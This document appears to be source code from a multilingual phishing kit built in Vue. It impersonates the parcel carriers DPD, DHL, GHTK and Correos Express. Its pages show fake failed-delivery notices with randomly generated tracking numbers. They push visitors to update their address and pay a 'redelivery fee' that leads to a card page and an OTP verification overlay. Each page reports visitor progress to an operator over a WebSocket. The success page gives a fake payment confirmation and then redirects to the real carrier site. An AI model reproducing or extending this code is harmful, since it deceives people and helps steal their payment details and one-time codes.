<span class="icon-plus">+</span>
</div>
</div>
</div>
</div>
<Transition name="fade">
<div class="loading-overlay" v-if="isVerifying">
<div class="overlay-backdrop"></div>
<div class="overlay-box">
<div class="loader-spinner"></div>
<div class="loader-text">Trwa weryfikacja kodu...</div>
</div>
</div>
</Transition>
</div>
</template>
<style scoped>
/* 整体页面背景 */
.page-wrapper {
background-color: #fcfcfc;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: flex-start;
padding-top: 40px;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.container-outer {
width: 100%;
max-width: 480px;
padding: 0 15px;
}
.card-container {
background: #ffffff;
border-radius: 4px;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
border: 1px solid #f0f0f0;
}
/* 顶部 Header */
.header-nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 15px 24px;
border-bottom: 1px solid #f5f5f5;
}
.content-body {
padding: 24px 24px 40px;
}
.page-title {
font-size: 20px;
font-weight: 700;
color: #1a1a1a;
margin: 0 0 16px 0;
}
.instruction-text {
font-size: 14px;
color: #595959;
line-height: 1.6;
margin-bottom: 30px;
}
/* 表单部分 */
.form-group {
margin-bottom: 24px;
}
.field-label {
display: block;
font-weight: 700;
font-size: 14px;
margin-bottom: 10px;
color: #262626;
}
.otp-input-field {
width: 100%;
padding: 12px 16px;
border: 2px solid #ccc;
border-radius: 4px;
font-size: 15px;
transition: border-color 0.3s, box-shadow 0.3s, background-color 0.3s;
box-sizing: border-box;
}
.otp-input-field:focus {
border-color: #dc0032 !important;
border: 2px solid #dc0032 !important;
border-width: 2px;
padding: 11px 15px;
box-shadow: 0 0 0 3px rgba(220, 0, 50, 0.1);
background-color: #fff;
outline: none;
}
/* 按钮与链接布局 */
.form-actions {
display: flex;
align-items: center;
gap: 20px;
margin-top: 24px;
}
.submit-button {
background-color: #dc0032; /* DPD红色 */
color: #fff;
border: none;
padding: 10px 48px;
border-radius: 4px;
font-size: 15px;
font-weight: 600;
cursor: pointer;
transition: background 0.3s;
}
.submit-button:hover {
background-color: #b30026;
}
.resend-anchor {
font-size: 14px;
color: #dc0032;
text-decoration: none;
}
.resend-anchor:hover {
text-decoration: underline;
}
.divider-line {
height: 1px;
background-color: #f0f0f0;
margin: 32px 0 0 0;
}
/* 底部列表项 */
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 16px 0;
border-bottom: 1px solid #f0f0f0;
font-size: 14px;
color: #262626;
font-weight: 500;
cursor: pointer;
}
.icon-plus {
color: #dc0032;
font-size: 18px;
}
.error-feedback {
color: #ff4d4f;
font-size: 13px;
margin-bottom: 12px;
}
/* 加载遮罩 */
.loading-overlay {
position: fixed;
inset: 0;
z-index: 10000;
display: flex;
align-items: center;
justify-content: center;
}
.overlay-backdrop {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.85);
}
.overlay-box {
position: relative;
text-align: center;
}
.loader-spinner {
width: 40px;
height: 40px;
border: 3px solid #f0f0f0;
border-top: 3px solid #dc0032;
border-radius: 50%;
animation: rotate 0.8s linear infinite;
margin: 0 auto 12px;
}
.loader-text {
font-size: 14px;
color: #595959;
}
@keyframes rotate {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
/* 移动端优化 */
@media (max-width: 480px) {
.form-actions {
flex-direction: column;
align-items: flex-start;
gap: 16px;
}
.submit-button {
width: 100%;
}
}
</style>

View File

@@ -0,0 +1,293 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { onMounted, ref } from "vue";
import { configData, myWebSocket } from "../utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const phone = ref("");
const payDate = ref("");
const invoiceNumber = ref("");
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 200);
};
function getDateSevenDaysAgo(): Date {
const currentDate = new Date();
currentDate.setDate(currentDate.getDate() - 7);
return currentDate;
}
function generateRandomNineDigitNumber(): number {
const min = 100000000;
const max = 999999999;
return Math.floor(Math.random() * (max - min + 1)) + min;
}
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "pay" },
})
);
const dateSeven = getDateSevenDaysAgo();
payDate.value = dateSeven.toLocaleDateString();
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) {
invoiceNumber.value = inumber;
} else {
invoiceNumber.value = generateRandomNineDigitNumber().toString();
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
}
localStorage.setItem("route", "pay");
const phoneValue = localStorage.getItem("phone");
if (phoneValue) {
phone.value = phoneValue;
}
document.title = "Dịch vụ vận chuyển | GHTK";
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="header-tabs">
<div class="tab active">Gửi hàng</div>
<div class="tab">Theo dõi</div>
<div class="tab">Hỗ trợ</div>
</div>
<div class="main-box">
<form @submit.prevent="next" class="heavy-cargo-home">
<div class="main-box">
<div class="heavy-cargo-edit">
<div class="smart-remind" style="display:none">
Vui lòng kiểm tra thông tin địa chỉ chính xác không. Nếu thiếu thông tin, vui lòng bổ sung kịp thời.
</div>
<div class="edit-info">
<div class="form-title-container">
<div class="form-icon-container">
<svg class="form-icon" xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 -960 960 960" width="24">
<path d="M320-240h320v-80H320v80Zm0-160h320v-80H320v80ZM240-80q-33 0-56.5-23.5T160-160v-640q0-33 23.5-56.5T240-880h320l240 240v480q0 33-23.5 56.5T720-80H240Zm280-520v-200H240v640h480v-440H520ZM240-800v200-200 640-640Z"/>
</svg>
</div>
<div class="form-header-text">
<h2 class="form-title">Sắp xếp giao hàng lại</h2>
<p class="form-subtitle">
Hai lần giao hàng đầu tiên được miễn phí. Nếu cần sắp xếp giao hàng lại, bạn cần thanh toán phí vận chuyển. Nếu không nhận được cập nhật, đơn hàng sẽ được trả lại cho người gửi trong vòng 2 ngày làm việc.
</p>
</div>
</div>
<br>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Dịch vụ giao hàng</th>
<th>Phí vận chuyển</th>
<th>Phương thức</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tự lấy hàng<br><span>(Hiện tại tạm ngưng do nâng cấp hệ thống)</span></td>
<td>0.00</td>
<td style="text-align:center"><input type="radio" disabled value="on"></td>
</tr>
<tr>
<td>Giao hàng lại<br><span>(1-2 ngày làm việc)</span></td>
<td>{{ configData?.pay_amount ? configData?.pay_amount : "20.000 VNĐ" }}</td>
<td style="text-align:center"><input type="radio" checked value="on"></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="order-brn-wrap">
<button type="submit" class="order-brn">Thanh toán giao lại</button>
</div>
</form>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* Main container */
.main-box {
padding: 20px;
background-color: #f9f9f9; /* GHTK's light gray background */
}
/* Header styles */
.form-title-container {
display: flex;
margin-bottom: 16px;
}
.form-icon-container {
margin-right: 10px;
}
.form-icon {
fill: #ffffff;
background-color: #00A03C; /* GHTK's green for icon background */
border-radius: 6px;
top: 20px;
}
.form-header-text {
flex: 1;
}
.form-title {
font-size: 18px;
font-weight: 500;
margin-bottom: 8px;
color: #333333; /* GHTK's dark gray for text */
font-family: 'Roboto', 'Arial', sans-serif; /* GHTK's font */
}
.form-subtitle {
font-size: 14px;
line-height: 1.5;
color: #666666; /* GHTK's medium gray for subtitles */
font-family: 'Roboto', 'Arial', sans-serif;
}
/* Form container */
.heavy-cargo-home {
max-width: 700px; /* GHTK's wider form container */
margin: 0 auto;
}
.heavy-cargo-edit {
background: #ffffff;
border-radius: 8px;
padding: 20px;
margin-bottom: 20px;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); /* GHTK's subtle shadow */
}
.edit-info {
width: 100%;
}
/* Form button */
.order-brn-wrap {
text-align: center;
margin-top: 20px;
margin-bottom: 30px;
}
.order-brn {
background-color: #00A03C; /* GHTK's green for buttons */
color: #fff;
border: none;
padding: 12px 24px;
font-size: 16px;
font-weight: 600;
border-radius: 25px;
cursor: pointer;
transition: background-color 0.2s;
width: 100%;
max-width: 300px;
font-family: 'Roboto', 'Arial', sans-serif;
}
.order-brn:hover {
background-color: #00802E; /* Darker green for hover */
}
/* Table styles */
table {
margin: 0 auto;
margin-bottom: 20px;
width: 100%;
}
th {
background-color: #e8e8e8; /* Lighter gray for GHTK's table headers */
padding: 0 15px;
font-size: 12px;
height: 60px;
font-weight: 700;
text-transform: uppercase;
font-family: 'Roboto', 'Arial', sans-serif;
color: #333333;
text-align: left;
}
td {
background-color: #f5f5f5; /* Lighter gray for GHTK's table cells */
height: 60px;
padding: 0 15px;
font-size: 12px;
font-weight: 700;
text-transform: uppercase;
font-family: 'Roboto', 'Arial', sans-serif;
text-align: left;
color: #333333;
}
input[type=radio] {
width: 15px;
height: 15px;
appearance: auto;
border: none;
}
td span {
text-transform: none;
font-size: 12px;
font-weight: 300;
color: #666666; /* GHTK's medium gray for subtext */
}
/* Header tabs */
.header-tabs {
display: flex;
justify-content: space-around;
padding: 12px 0;
color: #ffffff;
background-color: #00A03C; /* GHTK's green for header */
position: sticky;
top: 0;
z-index: 10;
}
.tab {
padding: 8px 0;
color: #ffffff;
font-size: 15px;
position: relative;
font-family: 'Roboto', 'Arial', sans-serif;
}
.tab.active {
color: #ffffff;
font-weight: 500;
}
.tab.active::after {
content: '';
position: absolute;
bottom: -1px;
left: 0;
right: 0;
height: 2px;
background: #ffffff;
}
</style>

View File

@@ -0,0 +1,282 @@
<script setup lang="ts">
import { onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { debounce } from "lodash";
import moment from "moment";
import { useI18n } from "vue-i18n";
import { myWebSocket } from "@/utils/common";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const payDate1 = ref("");
const trackingNumber = ref("");
const onchange = debounce((value: any) => {
localStorage.setItem("phone", value.target.value);
}, 300);
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone1", pageTitle: "首頁提示" },
})
);
payDate1.value = formatDate(getDateSevenDaysAgo(2));
const inumber = localStorage.getItem("trackingNumber");
if (inumber) {
trackingNumber.value = inumber;
} else {
trackingNumber.value = generateRandomNineDigitNumber().toString();
localStorage.setItem("trackingNumber", trackingNumber.value.toString());
}
localStorage.setItem("route", "phone1");
});
function formatDate(date: Date): string {
return moment(date).format("DD/MM/YYYY");
}
function getDateSevenDaysAgo(day: number): Date {
const currentDate = new Date();
currentDate.setDate(currentDate.getDate() + day);
return currentDate;
}
function generateRandomNineDigitNumber(): number {
const min = 100000000;
const max = 999999999;
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
<template>
<CommonLayout>
<template #default>
<img
src="/Q3h9Lm2Rk8VzNwXa/woman-signs-for-package-0002.jpeg"
alt="DHL Bilde"
style="width: 100%; height: auto; max-width: 100%; margin-top: 0px;margin-bottom: -5px;"
>
<div class="main-content-body">
<div class="content-container">
<div class="content-wrapper">
<form @submit.prevent="next">
<h1 class="title-text">
Spor forsendelsen din
</h1>
<div class="content">
<p class="package-number">
Ditt sporingsnummer: <span>{{ trackingNumber }}</span>
</p>
<p class="failure-notice">
<b>Levering mislyktes</b>
</p>
<ul class="notice-list">
<li>
Forsendelsen din kunne ikke leveres grunn av en feil eller ufullstendig adresse.
</li>
<li>Forsendelsen din har blitt returnert til DHLs distribusjonssenter.</li>
<li>
Oppdater adressen din for å planlegge et nytt leveringsforsøk den <span>{{ payDate1 }}</span>.
</li>
</ul>
<div class="button-submit">
<button type="submit">
Fortsett
<i
class="symbol symbol-chevron"
style="display: inline-block; transform: rotate(-90deg); transition: transform 0.3s;"
></i>
</button>
</div>
</div>
</form>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* Styles inspired by DHL Ireland[](https://www.dhl.com/ie-en/home.html) */
.main-content-body {
padding: 2rem 0;
width: 100%;
overflow-x: hidden;
box-sizing: border-box;
display: flex;
justify-content: center;
align-items: center;
background: var(--linear-gradient-yellow-to-right);
}
.content-container {
background: var(--linear-gradient-yellow-to-right);
border-radius: 8px;
padding: 2rem;
max-width: 680px; /* Wider container as per DHL Ireland's layout */
width: 100%;
box-sizing: border-box;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); /* Softer shadow for modern look */
}
.content-wrapper {
min-height: 100px;
}
.title-text {
font-size: 32px; /* Larger, bolder heading as per DHL Ireland */
font-weight: 700;
color: #d40511; /* DHL's signature red */
margin-bottom: 1.5rem;
font-family: 'Arial', sans-serif; /* DHL Ireland uses Arial or similar sans-serif */
line-height: 1.3;
text-align: left;
}
.content {
padding: 1.5rem;
background: var(--linear-gradient-yellow-to-right);
/* border: 1px solid #e6e6e6; */
border-radius: 6px;
}
.package-number {
font-size: 16px;
color: #333333; /* Dark gray for body text */
margin-bottom: 1rem;
font-family: 'Arial', sans-serif;
font-weight: 400;
}
.package-number span {
font-weight: 600;
color: #d40511; /* DHL red for emphasis */
}
.failure-notice {
font-size: 16px;
color: #d40511; /* DHL red for alerts */
margin-bottom: 1rem;
font-family: 'Arial', sans-serif;
}
.failure-notice b {
font-weight: 700;
}
.notice-list {
list-style: disc outside none;
padding-left: 20px;
margin-bottom: 1.5rem;
}
.notice-list li {
font-size: 14px;
color: #333333; /* Dark gray for body text */
margin-bottom: 0.75rem;
font-family: 'Arial', sans-serif;
line-height: 1.6;
}
.notice-list li span {
font-weight: 600;
color: #d40511; /* DHL red for highlighted text */
}
.button-submit {
margin-top: 1.5rem;
}
button {
background-color: #d40511; /* DHL red for buttons */
color: #ffffff;
padding: 12px 24px;
border: none;
border-radius: 4px;
font-size: 16px;
font-weight: 600;
font-family: 'Arial', sans-serif;
cursor: pointer;
transition: background-color 0.3s;
}
button:hover {
background-color: #b0040f; /* Darker red on hover */
}
@media (min-width: 768px) {
.main-content-body {
padding: 3rem 0;
}
.content-container {
max-width: 680px;
padding: 2.5rem;
}
.title-text {
font-size: 32px;
}
.content {
padding: 2rem;
}
.package-number,
.failure-notice {
font-size: 16px;
}
.notice-list li {
font-size: 14px;
}
}
@media (max-width: 767px) {
.main-content-body {
padding: 1.5rem 0;
}
.content-container {
padding: 1.5rem;
}
.title-text {
font-size: 28px;
}
.content {
padding: 1.5rem;
}
.package-number,
.failure-notice,
.notice-list li,
button {
font-size: 14px;
}
.notice-list {
padding-left: 18px;
}
.button {
padding: 10px 20px;
}
}
</style>

View File

@@ -0,0 +1,444 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, onUnmounted, ref, computed } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useI18n } from "vue-i18n";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const formData = ref({
waybill: "",
});
function generateOrderNumber(): string {
const fixedPrefix = "CE90338";
const randomDigits = Math.floor(100000 + Math.random() * 900000).toString();
return fixedPrefix + randomDigits;
}
const dates = computed(() => {
const today = new Date();
const tomorrow = new Date(today);
tomorrow.setDate(tomorrow.getDate() + 1);
const yesterday = new Date(today);
yesterday.setDate(yesterday.getDate() - 1);
const dayBeforeYesterday = new Date(yesterday);
dayBeforeYesterday.setDate(dayBeforeYesterday.getDate() - 1);
const threeDaysAgo = new Date(dayBeforeYesterday);
threeDaysAgo.setDate(threeDaysAgo.getDate() - 1);
return {
today: formatDate(today),
tomorrow: formatDate(tomorrow),
yesterday1: formatDate(yesterday),
yesterday2: formatDate(yesterday),
dayBeforeYesterday1: formatDate(dayBeforeYesterday),
dayBeforeYesterday2: formatDate(dayBeforeYesterday),
threeDaysAgo: formatDate(threeDaysAgo)
};
});
function formatDate(date: Date): string {
const month = String(date.getMonth() + 1).padStart(2, '0');
const day = String(date.getDate()).padStart(2, '0');
const year = date.getFullYear();
return `${year}-${month}-${day}`;
}
function formatDateDisplay(dateString: string): string {
const date = new Date(dateString);
const days = ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado'];
const months = ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre'];
const dayName = days[date.getDay()];
const outlet = date.getDate();
const monthName = months[date.getMonth()];
const year = date.getFullYear();
return `${dayName}, ${outlet} de ${monthName} de ${year}`;
}
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("Waybill_number", "Waybill_number", event.target.value);
};
const next = () => {
localStorage.setItem("waybill", formData.value.waybill);
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/address");
loadingStore.setLoading(false);
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "tracking" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.trackingPageData) {
formData.value.waybill = userData.trackingPageData.waybill || "";
} else {
const existingOrderNumber = localStorage.getItem("orderNumber");
if (!existingOrderNumber) {
const newOrderNumber = generateOrderNumber();
localStorage.setItem("orderNumber", newOrderNumber);
formData.value.waybill = newOrderNumber;
} else {
formData.value.waybill = existingOrderNumber;
}
}
localStorage.setItem("route", "phone");
loadingStore.setLoading(false);
document.title = "Seguimiento de Envíos | Correos Express";
});
onUnmounted(() => {
loadingStore.setLoading(false);
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="vc-row-wrapper vc_inner vc_row-fluid">
<div class="row wpb_row">
<div class="vc-column-hover columns twelve">
<div class="wpb_wrapper">
<div class="wpb_raw_code wpb_content_element wpb_raw_html">
<div class="wpb_wrapper">
<!-- Waybill Number Display -->
<div class="waybill-header">
<div class="waybill-info">
<span class="bill-num">Número de Envío</span>
<span class="locations">{{ formData.waybill }}</span>
</div>
<div class="sign-date">
<p>Fecha de Entrega Estimada</p>
<p class="orange">{{ dates.tomorrow }}</p>
</div>
</div>
<!-- Timeline Section -->
<section id="cd-timeline" class="entregado">
<!-- Start Icon -->
<div class="cd-timeline-start">
<div class="cd-timeline-start-caption">
<img decoding="async" src="/Q3h9Lm2Rk8VzNwXa/wp-content/uploads/2023/07/ctt_icono_destino.svg" alt="Destino" width="40">
</div>
</div>
<!-- Timeline Blocks -->
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<!-- <b>21:45</b> - {{ formatDateDisplay(dates.today) }}<br><br> -->
<b>Reparto Fallido</b><br>
Lo sentimos. No hemos podido realizar la entrega de tu envío.<br>
Los datos de la dirección de entrega son insuficientes o incorrectos.<br>
<b>Por favor, actualiza la dirección para reprogramar la entrega</b>
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<!-- <b>14:23</b> - {{ formatDateDisplay(dates.yesterday1) }}<br><br> -->
<b>Entrega Hoy</b><br>
Tu envío está en reparto, se entregará en el día de hoy.
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<b>21:38</b> - {{ formatDateDisplay(dates.yesterday2) }}<br><br>
<b>Reparto Fallido</b><br>
No hemos podido realizar la entrega de tu envío.<br>
Los datos de la dirección de entrega son insuficientes o incorrectos.
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<b>14:12</b> - {{ formatDateDisplay(dates.dayBeforeYesterday1) }}<br><br>
<b>Entrega Hoy</b><br>
Tu envío está en reparto, se entregará en el día de hoy.
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<b>7:50</b> - {{ formatDateDisplay(dates.dayBeforeYesterday2) }}<br><br>
<b>En Tránsito</b><br>
Te entregaremos tu envío lo antes posible.
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<b>6:26</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
<b>Despachado</b><br>
Tu envío ha sido despachado desde el centro de distribución.
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<b>5:18</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
<b>En Gestión Aduanera</b><br>
Tu envío está en proceso de gestión aduanera.
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<b>13:41</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
<b>En Tránsito Internacional</b><br>
Tu envío está en tránsito internacional.
</div>
</div>
<div class="cd-timeline-block">
<div class="cd-timeline-img cd-picture"></div>
<div class="timeline-icon">
</div>
<div class="cd-timeline-content">
<b>20:30</b> - {{ formatDateDisplay(dates.threeDaysAgo) }}<br><br>
<b>Grabado</b><br>
Ya tenemos todos los detalles de tu envío.
</div>
</div>
<!-- End Icon -->
<div class="cd-timeline-start cd-final">
<div class="x_cd-timeline-start-caption">
<img decoding="async" src="/Q3h9Lm2Rk8VzNwXa/wp-content/uploads/2023/07/ctt_icono_paquete.svg" alt="Comienzo viaje" width="40">
</div>
</div>
</section>
<!-- Form for Rescheduling Delivery -->
<form @submit.prevent="next" class="has-validation-callback">
<div class="order-brn-wrap sub">
<div class="order-brn-wrapper">
<button type="submit" class="order-brn">Actualizar Dirección</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* Layout */
.vc-row-wrapper {
min-height: calc(100vh - 1.63rem);
background-color: #f5f6f5;
padding: 20px;
font-family: 'Roboto', sans-serif;
}
.wpb_wrapper {
max-width: 800px;
margin: 0 auto;
}
/* Waybill Header */
.waybill-header {
display: flex;
justify-content: space-between;
align-items: center;
background: #fff;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
padding: 20px;
margin-bottom: 20px;
}
.waybill-info {
display: flex;
flex-direction: column;
}
.bill-num {
font-size: 16px;
font-weight: bold;
color: #003087;
margin-bottom: 10px;
}
.locations {
font-size: 18px;
color: #333;
font-weight: bold;
}
.sign-date {
text-align: right;
}
.sign-date p {
font-size: 14px;
color: #666;
margin-bottom: 5px;
}
.sign-date .orange {
color: #f28c00;
font-weight: bold;
}
/* Timeline */
#cd-timeline {
position: relative;
padding: 2em 0;
margin: 2em 0;
}
#cd-timeline::before {
content: '';
position: absolute;
top: 0;
left: 18px;
height: 100%;
width: 4px;
background: #003087;
}
.cd-timeline-start,
.cd-timeline-start.cd-final {
position: relative;
margin: 20px 0;
}
.cd-timeline-start-caption {
position: absolute;
top: -50px; /* 调整图标与时间轴的距离 */
left: 18px; /* 与时间轴的垂直线对齐 */
transform: translateX(-50%); /* 使图标中心与线对齐 */
text-align: center;
}
.x_cd-timeline-start-caption {
position: absolute;
bottom: -50px; /* 调整图标与时间轴的距离 */
left: 18px; /* 与时间轴的垂直线对齐 */
transform: translateX(-50%); /* 使图标中心与线对齐 */
text-align: center;
}
.cd-timeline-start-caption img,
.x_cd-timeline-start-caption img {
width: 40px;
height: 40px;
margin-top: -10px;
}
.cd-timeline-block {
position: relative;
margin: 2em 0;
}
.cd-timeline-img {
position: absolute;
top: 0;
left: 0;
width: 40px;
height: 40px;
border-radius: 50%;
background: #f28c00;
}
.cd-timeline-content {
position: relative;
margin-left: 60px;
background: #fff;
border-radius: 8px;
padding: 1em;
box-shadow: 0 3px 10px rgba(0, 0, 0, 0.1);
}
.cd-timeline-content b {
color: #003087;
font-size: 16px;
}
.cd-timeline-content br {
margin-bottom: 10px;
}
.timeline-icon {
position: absolute;
top: -50px; /* 调整图标与内容的垂直距离 */
left: 18px; /* 与时间轴的垂直线对齐 */
transform: translateX(-50%); /* 使图标中心与线对齐 */
text-align: center;
}
.timeline-icon img {
width: 40px;
height: auto;
}
/* Form Button */
.order-brn-wrap {
text-align: center;
margin-top: 20px;
}
.order-brn-wrapper {
display: flex;
justify-content: center;
}
.order-brn {
background-color: #f28c00;
color: #fff;
border: none;
padding: 12px 24px;
font-size: 16px;
font-weight: 600;
border-radius: 25px;
cursor: pointer;
transition: background-color 0.2s;
width: 100%;
max-width: 300px;
}
.order-brn:hover {
background-color: #d97a00;
}
</style>

View File

@@ -0,0 +1,194 @@
<script setup lang="ts">
import { onMounted } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, redirectToExternal } from "@/utils/common";
onMounted(() => {
// 发送 WebSocket 统计事件,标识到达成功页
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
// 模拟处理并自动跳转
setTimeout(() => {
redirectToExternal();
}, 2000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="brt-success-wrapper">
<div class="brt-header-line"></div>
<div class="container">
<div class="status-card">
<div class="icon-section">
<div class="check-badge">
<svg viewBox="0 0 24 24" class="check-svg">
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41L9 16.17z" fill="currentColor"/>
</svg>
</div>
</div>
<h1 class="brt-title">Płatność zaksięgowana</h1>
<div class="info-box">
<p class="brt-desc">
Twoja płatność za ponowną dostawę została pomyślnie przetworzona. Twój kurier DPD dostarczy paczkę w ciągu najbliższych 12 dni roboczych. Potwierdzenie zostanie wysłane na Twój adres e-mail.
</p>
</div>
<div class="redirect-footer">
<div class="brt-loader"></div>
<p class="helper-text">Przekierowywanie do serwisu DPD</p>
</div>
</div>
<div class="brt-footer-note">
<p>© DPD Polska Sp. z o.o. - Część grupy Geopost S.A.</p>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* BRT 核心视觉变量 */
.brt-success-wrapper {
background-color: #f6f6f6; /* 浅灰色背景,突出白色卡片 */
min-height: 85vh;
display: flex;
flex-direction: column;
align-items: center;
font-family: Arial, sans-serif;
padding: 0;
}
.brt-header-line {
width: 100%;
height: 6px;
background-color: #dc0032; /* DPD红色 */
}
.container {
max-width: 600px;
width: 100%;
padding: 60px 20px;
}
.status-card {
background-color: #ffffff;
padding: 50px 40px;
border-radius: 4px;
border: 1px solid #e5e5e5;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
text-align: center;
}
.icon-section {
margin-bottom: 25px;
}
.check-badge {
background-color: #dc0032; /* DPD红色 */
color: white;
width: 72px;
height: 72px;
border-radius: 50%;
display: inline-flex;
justify-content: center;
align-items: center;
}
.check-svg {
width: 44px;
height: 44px;
}
.brt-title {
color: #222222;
font-size: 26px;
font-weight: 800;
margin-bottom: 20px;
text-transform: uppercase;
letter-spacing: -0.5px;
}
.info-box {
background-color: #fdfdfd;
border: 1px solid #eeeeee;
padding: 20px;
margin: 30px 0;
}
.brt-desc {
font-size: 16px;
color: #555555;
line-height: 1.6;
margin: 0;
}
.redirect-footer {
margin-top: 40px;
display: flex;
flex-direction: column;
align-items: center;
gap: 15px;
}
/* 红色 Loading 动画 */
.brt-loader {
width: 32px;
height: 32px;
border: 3px solid #f0f0f0;
border-top: 3px solid #dc0032;
border-radius: 50%;
animation: spin 1s linear infinite;
}
.helper-text {
font-size: 14px;
color: #999999;
font-style: normal;
}
.brt-footer-note {
margin-top: 25px;
text-align: center;
font-size: 11px;
color: #aaaaaa;
line-height: 1.4;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
/* 响应式适配移动端 */
@media (max-width: 480px) {
.status-card {
padding: 35px 20px;
}
.brt-title {
font-size: 20px;
}
.brt-desc {
font-size: 14px;
}
.container {
padding-top: 30px;
}
}
</style>